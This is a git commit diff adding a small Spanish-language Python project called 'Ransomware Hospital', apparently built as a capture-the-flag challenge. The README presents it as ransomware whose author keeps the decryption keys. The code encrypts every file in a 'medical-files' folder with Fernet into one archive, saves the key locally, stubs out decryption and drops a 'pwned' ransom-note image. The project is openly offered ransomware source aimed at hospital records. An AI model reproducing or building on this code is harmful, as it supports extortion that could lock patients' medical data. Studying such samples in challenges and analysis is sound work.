commit e5fcbc24d5d9d3701de8d3cdc6b36a5d85a93afc Author: Louden Date: Tue Mar 17 19:54:11 2026 +0000 Initial commit - Source code diff --git a/README.md b/README.md new file mode 100644 index 0000000..da4a2c7 --- /dev/null +++ b/README.md @@ -0,0 +1,64 @@ +# Ransomware Hospital +

+ +

+ +

+ + +

+ +## Contenido + +``` +├── assets +│ ├── pwned.png +│ └── skull.png +├── ransom.py +├── README.md +├── requirements.txt +└── src + ├── decrypt.py + ├── encrypt.py + ├── __init__.py + └── prompt.py +``` + +--- + +## Estructura + +### `ransom.py` +Archivo principal de ejecución. + +### `src/encrypt.py` +Contiene la lógica de cifrado de archivos. + +### `src/decrypt.py` +Contiene la lógica de descifrado. (Me la reservo para mí junto con las claves) + +### `src/prompt.py` +Nota de rescate. + + +## Instalación + +### Clonar proyecto + +```sh +git clone http://challs.caliphallabs.com:18971/louden/ransomware-hospital +``` + +### Instalar dependencias: + +```sh +pip install -r requirements.txt +``` + +--- + +## Uso + +```sh +python3 ransom.py +``` \ No newline at end of file diff --git a/assets/pwned.png b/assets/pwned.png new file mode 100644 index 0000000..fffdb99 Binary files /dev/null and b/assets/pwned.png differ diff --git a/assets/skull.png b/assets/skull.png new file mode 100644 index 0000000..03b7efd Binary files /dev/null and b/assets/skull.png differ diff --git a/ransom.py b/ransom.py new file mode 100644 index 0000000..c601e4b --- /dev/null +++ b/ransom.py @@ -0,0 +1,77 @@ +import os +import sys + +from src import encrypt_folder, decrypt_and_unpack, copy_prompt_image + +def banner(): + print(r""" uu$$$$$$$$$$$uu + uu$$$$$$$$$$$$$$$$$uu + u$$$$$$$$$$$$$$$$$$$$$u + u$$$$$$$$$$$$$$$$$$$$$$$u + u$$$$$$$$$$$$$$$$$$$$$$$$$u + u$$$$$$* *$$$* *$$$$$$u + *$$$$* u$u $$$$* + $$$u u$u u$$$ + $$$u u$$$u u$$$ + *$$$$uu$$$ $$$uu$$$$* + *$$$$$$$* *$$$$$$$* + u$$$$$$$u$$$$$$$u + u$*$*$*$*$*$*$u + uuu $$u$ $ $ $ $u$$ uuu + u$$$$ $$$$$u$u$u$$$ u$$$$ + $$$$$uu *$$$$$$$$$* uu$$$$$$ +u$$$$$$$$$$$uu ***** uuuu$$$$$$$$$ +$$$$***$$$$$$$$$$uuu uu$$$$$$$$$***$$$* + *** **$$$$$$$$$$$uu **$*** + uuuu **$$$$$$$$$$uuu + u$$$uuu$$$$$$$$$uu **$$$$$$$$$$$uuu$$$ + $$$$$$$$$$**** **$$$$$$$$$$$* + *$$$$$* **$$$$** + $$$* $$$$* + _ _ _ _ _ + | | | | (_) | | | + | |__| | ___ ___ _ __ _| |_ __ _| | + | __ |/ _ \/ __| '_ \| | __/ _` | | + | | | | (_) \__ \ |_) | | || (_| | | + |_|__|_|\___/|___/ .__/|_|\__\__,_|_| + | | + _____ |_| + | __ \ + | |__) |__ _ _ __ _ __ ___ _ __ ___ + | _ // _` | '_ \/ __|/ _ \| '_ ` _ \ + | | \ \ (_| | | | \__ \ (_) | | | | | | + |_| \_\__,_|_| |_|___/\___/|_| |_| |_| + + by Louden +""") + +def main(): + while True: + banner() + print("1. Cifrar archivos médicos") + print("2. Descifrar archivos usando 'key.txt'") + print("3. Salir") + + choice = input("\nSelecciona una opción [1-3]: ") + + if choice == "1": + print("\n[*] Inicializando el proceso de cifrado...") + encrypt_folder("medical-files", "files.enc") + copy_prompt_image() + + elif choice == "2": + print("\n[*] Inicializando el proceso de descifrado...") + decrypt_and_unpack("files.enc", "key.txt", "restored_medical_files") + + elif choice == "3": + print("\nSaliendo...") + break + + else: + print("\n[-] Opción inválida. Prueba de nuevo") + + input("\nPulsa Enter para vovler al menú") + os.system('clear') + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..7ea8cc5 --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +cryptography==42.0.5 \ No newline at end of file diff --git a/src/__init__.py b/src/__init__.py new file mode 100644 index 0000000..e4b37db --- /dev/null +++ b/src/__init__.py @@ -0,0 +1,6 @@ +import os +import sys + +from .encrypt import encrypt_folder +from .decrypt import decrypt_and_unpack +from .prompt import copy_prompt_image \ No newline at end of file diff --git a/src/decrypt.py b/src/decrypt.py new file mode 100644 index 0000000..176e30c --- /dev/null +++ b/src/decrypt.py @@ -0,0 +1,8 @@ +import os +import re +import struct +from cryptography.fernet import Fernet + +def decrypt_and_unpack(input_file, key_file, output_folder): + print(f"\n Error: No se cuentra la funcionalidad de descifrado") + return \ No newline at end of file diff --git a/src/encrypt.py b/src/encrypt.py new file mode 100644 index 0000000..eba2f52 --- /dev/null +++ b/src/encrypt.py @@ -0,0 +1,44 @@ +import os +import struct +from cryptography.fernet import Fernet + +def generate_key(): + key = Fernet.generate_key() + with open("key.txt", "wb") as key_file: + key_file.write(key) + return key + +def encrypt_folder(folder_name, output_file): + if not os.path.exists(folder_name): + print(f"Error: Carpeta '{folder_name}' no encontrada.") + return + + key = generate_key() + cipher = Fernet(key) + + print(f"Cifrando carpeta: {folder_name}...") + + with open(output_file, "wb") as f_out: + for root, dirs, files in os.walk(folder_name): + for file in files: + path = os.path.join(root, file) + with open(path, "rb") as f_in: + + file_content = f_in.read() + + header = f"FILE_NAME:{file}CONTENT:".encode() + footer = b"END_FILE" + payload = header + file_content + footer + + encrypted_block = cipher.encrypt(payload) + + f_out.write(struct.pack(">I", len(encrypted_block))) + f_out.write(encrypted_block) + + print(f" [+] Archivo cifrado: {file}") + + print(f"\nCarpeta cifrada en '{output_file}'") + print("Key utilizada guardada en 'key.txt'.") + +if __name__ == "__main__": + encrypt_folder("medical-files", "files.enc") \ No newline at end of file diff --git a/src/prompt.py b/src/prompt.py new file mode 100644 index 0000000..da05ee4 --- /dev/null +++ b/src/prompt.py @@ -0,0 +1,20 @@ +import os +import shutil + +def copy_prompt_image(destination_path="."): + source = os.path.join("assets", "pwned.png") + + destination = os.path.join(destination_path, "prompt.png") + + try: + if os.path.exists(source): + shutil.copy2(source, destination) + print(f"[+] Nota Ransom copiada en {destination_path}") + else: + print(f"[-] Error: Imagen '{source}' no encontrada. Asegúrate de que exista la carpeta assets/.") + + except Exception as e: + print(f"[-] Error: {e}") + +if __name__ == "__main__": + copy_prompt_image() \ No newline at end of file